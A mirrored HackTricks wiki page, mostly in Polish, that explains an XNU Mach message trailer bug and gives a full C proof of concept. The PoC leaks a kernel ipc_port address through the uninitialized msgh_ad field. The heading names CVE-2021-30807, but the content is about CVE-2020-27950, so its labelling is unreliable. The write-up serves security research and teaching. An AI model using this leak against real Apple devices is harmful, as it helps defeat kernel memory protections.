mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
333 lines
14 KiB
Markdown
333 lines
14 KiB
Markdown
# CVE-2021-30807: IOMobileFrameBuffer OOB
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|
||
## Błąd
|
||
|
||
Masz [świetne wyjaśnienie tej luki tutaj](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ale w skrócie:
|
||
|
||
Każda wiadomość Mach, którą odbiera kernel, kończy się **"trailer"**: zmienno-długościowy struct z metadanymi (seqno, sender token, audit token, context, access control data, labels...). Kernel **zawsze rezerwuje największy możliwy trailer** (MAX_TRAILER_SIZE) w buforze wiadomości, ale **inicjalizuje tylko niektóre pola**, a następnie **decyduje, jaki rozmiar traileru zwrócić** na podstawie **opcji odbioru kontrolowanych przez użytkownika**.
|
||
|
||
Poniżej znajdują się structs istotne dla traileru:
|
||
```c
|
||
typedef struct{
|
||
mach_msg_trailer_type_t msgh_trailer_type;
|
||
mach_msg_trailer_size_t msgh_trailer_size;
|
||
} mach_msg_trailer_t;
|
||
|
||
typedef struct{
|
||
mach_msg_trailer_type_t msgh_trailer_type;
|
||
mach_msg_trailer_size_t msgh_trailer_size;
|
||
mach_port_seqno_t msgh_seqno;
|
||
security_token_t msgh_sender;
|
||
audit_token_t msgh_audit;
|
||
mach_port_context_t msgh_context;
|
||
int msgh_ad;
|
||
msg_labels_t msgh_labels;
|
||
} mach_msg_mac_trailer_t;
|
||
|
||
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
|
||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||
```
|
||
Wtedy, gdy trailer object jest generowany, tylko niektóre pola są inicjalizowane, a max trailer size jest zawsze zarezerwowany:
|
||
```c
|
||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||
trailer->msgh_sender = current_thread()->task->sec_token;
|
||
trailer->msgh_audit = current_thread()->task->audit_token;
|
||
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
|
||
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
||
[...]
|
||
trailer->msgh_labels.sender = 0;
|
||
```
|
||
Na przykład, gdy próbujesz odczytać wiadomość mach za pomocą `mach_msg()`, wywoływana jest funkcja `ipc_kmsg_add_trailer()`, aby dołączyć trailer do wiadomości. Wewnątrz tej funkcji obliczany jest rozmiar traileru i wypełniane są inne pola traileru:
|
||
```c
|
||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||
return trailer->msgh_trailer_size;
|
||
}
|
||
|
||
trailer->msgh_seqno = seqno;
|
||
trailer->msgh_context = context;
|
||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||
```
|
||
Parametr `option` jest kontrolowany przez użytkownika, więc **konieczne jest przekazanie wartości, która przejdzie sprawdzenie `if`.**
|
||
|
||
Aby przejść to sprawdzenie, musimy wysłać prawidłowy, obsługiwany `option`:
|
||
```c
|
||
#define MACH_RCV_TRAILER_NULL 0
|
||
#define MACH_RCV_TRAILER_SEQNO 1
|
||
#define MACH_RCV_TRAILER_SENDER 2
|
||
#define MACH_RCV_TRAILER_AUDIT 3
|
||
#define MACH_RCV_TRAILER_CTX 4
|
||
#define MACH_RCV_TRAILER_AV 7
|
||
#define MACH_RCV_TRAILER_LABELS 8
|
||
|
||
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
|
||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||
```
|
||
Ale ponieważ `MACH_RCV_TRAILER_MASK` po prostu sprawdza bity, możemy przekazać dowolną wartość między `0` a `8`, aby nie wejść do środka instrukcji `if`.
|
||
|
||
Następnie, kontynuując analizę kodu, można znaleźć:
|
||
```c
|
||
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
|
||
trailer->msgh_ad = 0;
|
||
}
|
||
|
||
/*
|
||
* The ipc_kmsg_t holds a reference to the label of a label
|
||
* handle, not the port. We must get a reference to the port
|
||
* and a send right to copyout to the receiver.
|
||
*/
|
||
|
||
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
|
||
trailer->msgh_labels.sender = 0;
|
||
}
|
||
|
||
done:
|
||
#ifdef __arm64__
|
||
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
|
||
#endif /* __arm64__ */
|
||
|
||
return trailer->msgh_trailer_size;
|
||
```
|
||
Widać, że jeśli `option` jest większy lub równy `MACH_RCV_TRAILER_AV` (7), pole **`msgh_ad`** jest inicjalizowane do `0`.
|
||
|
||
Jeśli zauważyłeś, **`msgh_ad`** wciąż było jedynym polem w trailerze, które wcześniej nie zostało zainicjalizowane i mogło zawierać leak z wcześniej używanej pamięci.
|
||
|
||
Aby więc uniknąć jego inicjalizacji, należy przekazać wartość `option` równą `5` lub `6`, tak aby przeszła pierwszy warunek `if` i nie weszła do `if` inicjalizującego `msgh_ad`, ponieważ wartości `5` i `6` nie mają przypisanego typu trailer.
|
||
|
||
### Basic PoC
|
||
|
||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
|
||
|
||
### Leak Kernel Address PoC
|
||
|
||
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
|
||
|
||
Komentarze zostały dodane dla lepszego zrozumienia:
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <unistd.h>
|
||
#include <mach/mach.h>
|
||
|
||
// Number of OOL port descriptors in the "big" message.
|
||
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
|
||
#define LEAK_PORTS 50
|
||
|
||
// "Big" message: many descriptors → larger descriptor array in kmsg
|
||
typedef struct {
|
||
mach_msg_header_t header;
|
||
mach_msg_body_t body;
|
||
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
|
||
} message_big_t;
|
||
|
||
// "Small" message: fewer descriptors → leaves more room for the trailer
|
||
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
|
||
typedef struct {
|
||
mach_msg_header_t header;
|
||
mach_msg_body_t body;
|
||
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
|
||
} message_small_t;
|
||
|
||
int main(int argc, char *argv[]) {
|
||
mach_port_t port; // our local receive port (target of sends)
|
||
mach_port_t sent_port; // the port whose kernel address we want to leak
|
||
|
||
/*
|
||
* 1) Create a receive right and attach a send right so we can send to ourselves.
|
||
* This gives us predictable control over ipc_kmsg allocations when we send.
|
||
*/
|
||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||
|
||
/*
|
||
* 2) Create another receive port (sent_port). We'll reference this port
|
||
* in OOL descriptors so the kernel stores pointers to its ipc_port
|
||
* structure in the kmsg → those pointers are what we aim to leak.
|
||
*/
|
||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
|
||
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
|
||
|
||
printf("[*] Will get port %x address\n", sent_port);
|
||
|
||
message_big_t *big_message = NULL;
|
||
message_small_t *small_message = NULL;
|
||
|
||
// Compute userland sizes of our message structs
|
||
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
|
||
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
|
||
|
||
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
|
||
big_message = malloc(big_size + MAX_TRAILER_SIZE);
|
||
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
|
||
|
||
/*
|
||
* 3) Prepare the "big" message:
|
||
* - Complex bit set (has descriptors)
|
||
* - 50 OOL port descriptors, all pointing to the same sent_port
|
||
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
|
||
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
|
||
*/
|
||
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
|
||
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
|
||
|
||
big_message->header.msgh_remote_port = port; // send to our receive right
|
||
big_message->header.msgh_size = big_size;
|
||
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
|
||
| MACH_MSGH_BITS_COMPLEX;
|
||
big_message->body.msgh_descriptor_count = LEAK_PORTS;
|
||
|
||
for (int i = 0; i < LEAK_PORTS; i++) {
|
||
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
|
||
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
|
||
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
|
||
}
|
||
|
||
/*
|
||
* 4) Prepare the "small" message:
|
||
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
|
||
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
|
||
*/
|
||
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
|
||
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
|
||
|
||
small_message->header.msgh_remote_port = port;
|
||
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
|
||
| MACH_MSGH_BITS_COMPLEX;
|
||
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
|
||
|
||
for (int i = 0; i < LEAK_PORTS - 10; i++) {
|
||
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
|
||
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
|
||
small_message->sent_ports[i].name = sent_port;
|
||
}
|
||
|
||
/*
|
||
* 5) Receive buffer for reading back messages with trailers.
|
||
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
|
||
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
|
||
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
|
||
*/
|
||
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
|
||
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
|
||
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
|
||
|
||
/*
|
||
* ---------- Exploitation sequence ----------
|
||
*
|
||
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
|
||
* kernel pointers (ipc_port*) in its descriptor array.
|
||
*/
|
||
printf("[*] Sending message 1\n");
|
||
mach_msg(&big_message->header,
|
||
MACH_SEND_MSG,
|
||
big_size, // send size
|
||
0, // no receive
|
||
MACH_PORT_NULL,
|
||
MACH_MSG_TIMEOUT_NONE,
|
||
MACH_PORT_NULL);
|
||
|
||
/*
|
||
* Step B: Immediately receive/discard it with a zero-sized buffer.
|
||
* This frees the kalloc chunk without copying descriptors back,
|
||
* leaving the kernel pointers resident in freed memory (stale).
|
||
*/
|
||
printf("[*] Discarding message 1\n");
|
||
mach_msg((mach_msg_header_t *)0,
|
||
MACH_RCV_MSG, // try to receive
|
||
0, // send size 0
|
||
0, // recv size 0 (forces error/free path)
|
||
port,
|
||
MACH_MSG_TIMEOUT_NONE,
|
||
MACH_PORT_NULL);
|
||
|
||
/*
|
||
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
|
||
* We slightly bump msgh_size by +4 so that when the kernel appends
|
||
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
|
||
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
|
||
*/
|
||
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
|
||
printf("[*] Sending message 2\n");
|
||
mach_msg(&small_message->header,
|
||
MACH_SEND_MSG,
|
||
small_size + sizeof(uint32_t),
|
||
0,
|
||
MACH_PORT_NULL,
|
||
MACH_MSG_TIMEOUT_NONE,
|
||
MACH_PORT_NULL);
|
||
|
||
/*
|
||
* Step D: Receive message 2 and request an invalid trailer elements value (5).
|
||
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
|
||
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
|
||
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
|
||
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
|
||
*/
|
||
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
|
||
printf("[*] Reading back message 2\n");
|
||
mach_msg((mach_msg_header_t *)buffer,
|
||
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
|
||
0,
|
||
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
|
||
port,
|
||
MACH_MSG_TIMEOUT_NONE,
|
||
MACH_PORT_NULL);
|
||
|
||
// Trailer begins right after the message body we sent (small_size + 4)
|
||
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
|
||
|
||
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
|
||
sent_port_address |= (uint32_t)trailer->msgh_ad;
|
||
|
||
/*
|
||
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
|
||
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
|
||
*/
|
||
printf("[*] Sending message 3\n");
|
||
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||
|
||
printf("[*] Discarding message 3\n");
|
||
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||
|
||
// add another +4 to msgh_size → total +8 shift from the baseline
|
||
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
|
||
printf("[*] Sending message 4\n");
|
||
mach_msg(&small_message->header,
|
||
MACH_SEND_MSG,
|
||
small_size + sizeof(uint32_t)*2,
|
||
0,
|
||
MACH_PORT_NULL,
|
||
MACH_MSG_TIMEOUT_NONE,
|
||
MACH_PORT_NULL);
|
||
|
||
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
|
||
printf("[*] Reading back message 4\n");
|
||
mach_msg((mach_msg_header_t *)buffer,
|
||
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
|
||
0,
|
||
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
|
||
port,
|
||
MACH_MSG_TIMEOUT_NONE,
|
||
MACH_PORT_NULL);
|
||
|
||
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
|
||
|
||
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
|
||
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
|
||
|
||
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
## Źródła
|
||
|
||
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|